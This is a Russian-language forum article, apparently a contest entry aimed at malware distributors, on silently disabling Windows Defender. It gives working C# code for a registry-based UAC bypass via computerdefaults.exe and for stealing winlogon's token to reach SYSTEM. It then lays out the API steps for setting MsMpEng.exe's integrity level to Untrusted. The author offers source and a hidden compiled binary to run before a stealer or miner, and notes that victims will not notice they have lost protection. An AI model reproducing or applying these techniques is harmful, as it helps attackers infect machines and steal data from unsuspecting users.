Пожалуйста, обратите внимание, что пользователь заблокирован
Windows Defener... как много боли в этом слове. Вероятнее всего, если вы хоть краем уха были связаны с распространением ВПО -- данный антивирус уже успел доставить вам массу неудобств.
В данной статье я бы хотел рассказать о методе уже известном многим пользователям, однако по сей день не получившем широкую огласку.
Речь пойдет о Privilege Tokens и манипулировании ими в целях отключения Windows Defender.
Собственно, алгоритм действий таков :
Имеющий самую обширную облачную базу в мире АВ не мог остаться без внимания крипторов и малварщиков, в интересах каждого из которых было обойти его.
Самая примитивная мысль, пришедшая каждому -- попробовать снести антивирус под корень. Однако, этому препятствует сама система, так просто не выйдет.
Далее идёт способ со всеми известными "Set-MpPreference". К сожалению, из-за повсеместного использования скрипта -- провернуть данный трюк в реалиях проактивной защиты невозможно.
... и собственно, всё. На этом заканчивается вся поверхностная информация о способах отключения Дефендера.
В данной статье я бы хотел рассказать о методе уже известном многим пользователям, однако по сей день не получившем широкую огласку.
Речь пойдет о Privilege Tokens и манипулировании ими в целях отключения Windows Defender.
Попутно в статье будут упомянуты ещё две темы, без которых провернуть данный трюк будет невозможно. UAC Bypass для поднятия привилегий, а также повышение с обычного пользователя до NT AUTHORITY\SYSTEM.
ГЛАВА 1: ПОДГОТОВКА
Начнём, как и полагается, с нудной теории. К сожалению, без неё не будет ясна суть происходящего в последствии, поэтому рассказывать постараюсь максимально кратко и на понятном языке.
Токены привилегий - это разрешения, данные системой для процесса.
К примеру, если у процесса есть токен "SeShutdownPrivilege" - то он в праве выключить ваш компьютер.
Если ваша программа не будет иметь этого токена – она не сможет производить это действие.
Для проверки файлов Windows Defender использует свои привилегии. К примеру – “SeRestorePlivilege”.
Из этого мы делаем вывод, что если лишить процесс антивируса разрешения на проверку файлов – он станет бесполезным и не сможет выполнять эту самую проверку.
Любое объяснение станет понятнее, если из сухого текста перевести его в визуализацию.
Собственно, по этой причине, предлагаю вам скачать Process Hacker и своими глазами посмотреть на токены, имеющиеся у того или иного процесса.
За Windows Defender отвечает процесс MsMpEng.exe, нам нужно найти его в списке и открыть вкладку Tokens
Тут мы замечаем, что процесс имеет множество различных привилегий, имеющих для него ключевое значение.
Как вы понимаете, именно отключением этих привилегий мы и займёмся.
На этом теоретическая часть окончена, приступаем к реализации POC'а.
На самом старте нас уже преследуют две проблемы.
- Процесс MsMpEng.exe запущен от имени System. Для редактирования его токенов нам нужно иметь юзера “NT AUTHORITY\SYSTEM”
- Для получения SYSTEM нам нужно будет провести повышение, которое в свою очередь происходит только с уровня администратора.
Решением является следующая схема :
Да да, нам придется целых 2 раза перезапустить процесс для получения всех нужных прав.
- Мы получаем права администратора с помощью UAC Bypass.
- А затем получаем уровень SYSTEM, посредством кражи токена и запуска своего процесса с украденным токеном.
Ну что, приступаем к созданию.
ГЛАВА 2: ПОДНЯТИЕ ПРАВ
Реализаций обхода UAC очень много, вы можете выбрать любой удобный вам. В статье я буду использовать самый распространённый метод через редактирование реестра.
Суть его в том, что системное приложение computerdefaults.exe, при запуске обращается к regedit , в путь"Software\Classes\ms-settings\shell\open\command". Наша задача в том, чтобы отредактировать этот пункт на своё приложение.
Теперь при запуске computerdefaults.exe открывается наше приложение, но с правами администратора. Отредактируем реестр и добавим запуск приложения в через cmd.
C#:
string execPath = Assembly.GetEntryAssembly().Location;
Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command");
Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("", execPath, RegistryValueKind.String);
Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
Registry.CurrentUser.Close();
Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = @"/C computerdefaults.exe";
process.StartInfo = startInfo;
process.Start();
Собственно, на этом этапе мы уже запустили свой процесс от имени администратора, без каких либо предупреждений или значков на иконке.
ГЛАВА 2.1: Я ЕСТЬ СИСТЕМА !
Как уже говорилось, процесс Windows Defender запущен от имени NT AUTHORITY\SYSTEM.
Мы, будучи обычным процессом - не можем редактировать процесс, работающий от имени системы.
Нам нужно повышение!
Его мы будем проворачивать через дубликат токена winlogon.exe
Внимание на картинку, тут полный алгоритм действия.
Если объяснять произошедшее в двух словах:
В Windows есть такой процесс, как winlogon, он запускается с системой и отвечает за авторизацию пользователей. Мы продублируем токен этого процесса и запустим свою-же программу с украденным токеном.
- OpenProcessToken() -- Открываем токен процесса с уровнем доступа TOKEN_DUPLICATE (на выходе получаем хендл токена)
- STARTUPINFO -- Устанавливаем параметры для запуска процесса
- DuplicateTokenEx() -- Дублируем токен с winlogon и записываем его
- CreateProcessWithTokenW() -- Запускаем процесс нашего .exe с токеном, украденным из winlogon
- Поздравляю, вы великолепны
C#:
string procTostart = Assembly.GetEntryAssembly().Location;
Process process = Process.GetProcessesByName("winlogon")[0];
IntPtr procHandle = process.Handle;
IntPtr tokenHandle = IntPtr.Zero;
WinApi.OpenProcessToken(procHandle, 0x0002, out tokenHandle);
WinApi.STARTUPINFO SINFO = new WinApi.STARTUPINFO();
SINFO.dwFlags = 1;
SINFO.wShowWindow = 1;
WinApi.PROCESS_INFORMATION PINFO;
WinApi.SECURITY_ATTRIBUTES SECA = new WinApi.SECURITY_ATTRIBUTES();
IntPtr doubleDuplicateToken = IntPtr.Zero;
WinApi.DuplicateTokenEx(tokenHandle, 0x2000000, ref SECA, 2, WinApi.TOKEN_TYPE.TokenPrimary, out doubleDuplicateToken);
WinApi.CreateProcessWithTokenW(doubleDuplicateToken, WinApi.LogonFlags.NetCredentialsOnly, null, procTostart, WinApi.CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref SINFO, out PINFO);
Проведём промежуточный итог:
Мы заставили нашу программу запускаться от имени SYSTEM, при этом обойдя UAC.
Давайте посмотрим что получилось при реальном тесте.
Собственно, как видно на демонстрации – изначальный процесс запускается без прав администратора.
- Затем, применяется обход UAC’а и открывается второй процесс с повышенными правами
- Второй процесс, в свою очередь запускает последний .exe, который имеет и права администратора, и запущен от имени системы.
На этом моменте мы выполнили все условия для редактирования привилегий системного процесса и готовы реализовывать отключение Windows Defender.
ГЛАВА 3: ОТКЛЮЧЕНИЕ АНТИВИРУСА
На секундочку вернёмся к теоретической главе статьи и вспомним, зачем собственно все эти повышения мы и производили.
Наша задача заключается в том, чтобы лишить процесс антивируса привилегий, благодаря которым он может проверять файлы на вредоносность.
Есть два варианта решения этой проблемы : Снять весь список привилегий вручную. Либо установить Уровень Целостности (Integrity Level) на значение “Недоверенный”.
В ходе тестов удалось установить, что оба этих решения – взаимозаменяемые и приведут к одному и тому-же результату.
Поэтому мы пойдём по пути меньшего сопротивления и установить Integrity Level “Untrusted”.
Как и вы прошлых шагах воспользуемся схемой для объяснения последующих действий.
Собственно, алгоритм действий таков :
- OpenProcess() – получаем хендл процесса с доступом “QueryLimitedInformation”
- OpenProcessToken() – Открываем токен процесса с уровнем доступа TOKEN_ALL_ACCESS
- TOKEN_MANDATORY_LABEL – заполняем структуру, которую будем устанавливать в токен процесса
- ConvertStringSidToSid() – получаем SID параметра “ML_UNTRUSTED”
- StructureToPtr() – приводим структуру в нужный для работы формат
- SetTokenInformation() – Устанавливаем “Untrusted” уровень доверия на наш процесс.
SID значение “ML_UNTRUSTED” можно найти в документации Microsoft, по ссылке. https://docs.microsoft.com/en-us/op.../ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
Собственно, на этом и заканчиваются все действия, которые нам нужно было провернуть для снятия привилегий с процесса.
Прикладываю видео-демонстрацию работы этого инструмента в живых условиях.
Версия Windows Defender использована самая актуальная на момент написания статьи.
ИТОГИ :
Так, давайте зададим себе риторический вопрос “А нахуй я это сделал”.
- Метод удаления WD через скрипт – мёртв. Метод, представленный мной в этой статье на данный момент можно реализовать без детектов (!!!)
- Данный метод не вырезает Антивирус из системы, он просто запрещает ему выполнять свои функции. У пользователя не вызовет подозрений внезапное уведомление от системы об отключенном антивирусе.
Пользователь не будет видеть никаких значков на панели. Для него не произойдет никаких изменений, он даже не заподозрит факт того, что его система осталась без защиты. - Аналогичный трюк можно пробывать провернуть с другими Антивирусами, в статье Defender взят в качестве самого распространённого.
Минусы данной затеи:
- Нам нужны права Администратора (как и для других методов, но да ладно).
Если у пользователя они присутствуют – мы обходим эту проблему через UAC Bypass - Токены привилегий выдаются процессу заново после перезагрузки системы. Поэтому, если ваш вирус остаётся в системе на долго – добавьте отключение WD в автозагрузку
Внимательно перечитав весь список плюсов и минусов – я прихожу к выводу, что данный метод имеет все шансы на применение в бою.
Главным его плюсом является то, что метод не палится самим Дефендером и не будет снесён при попадании на систему.
В приложения к статье я прикладываю два файла:
- Disable WD.zip – архив с исходниками на C#
- Silent.zip – архив, содержащий в себе уже скомпилированный .exe, который вы можете подгружать вместе со своим вирусом.
Он полностью невидимый, запускается без консоли и пропадает из диспетчера задач.
Если вы хотите использовать его со своим Стиллером/Майнером – обязательно грузите СНАЧАЛА Silent.exe, а потом уже свой payload. При смене порядка действий – смысл отключения теряется, так как сначала дефендер спалит ваш вирус и удалит его, а только затем отключит себя.
В Silent.exe не используется обход UAC, поэтому запускать его нужно от имени администратора.
Пароль на оба архива == название форума
Всех категорически благодарю за внимание!
Буду рад вышим лайкам и комментариям.
Если вы нашли неточность в моей статье - с радостью выслушаю ваши замечания в комментариях.
Желаю удачи всем участникам конкурса!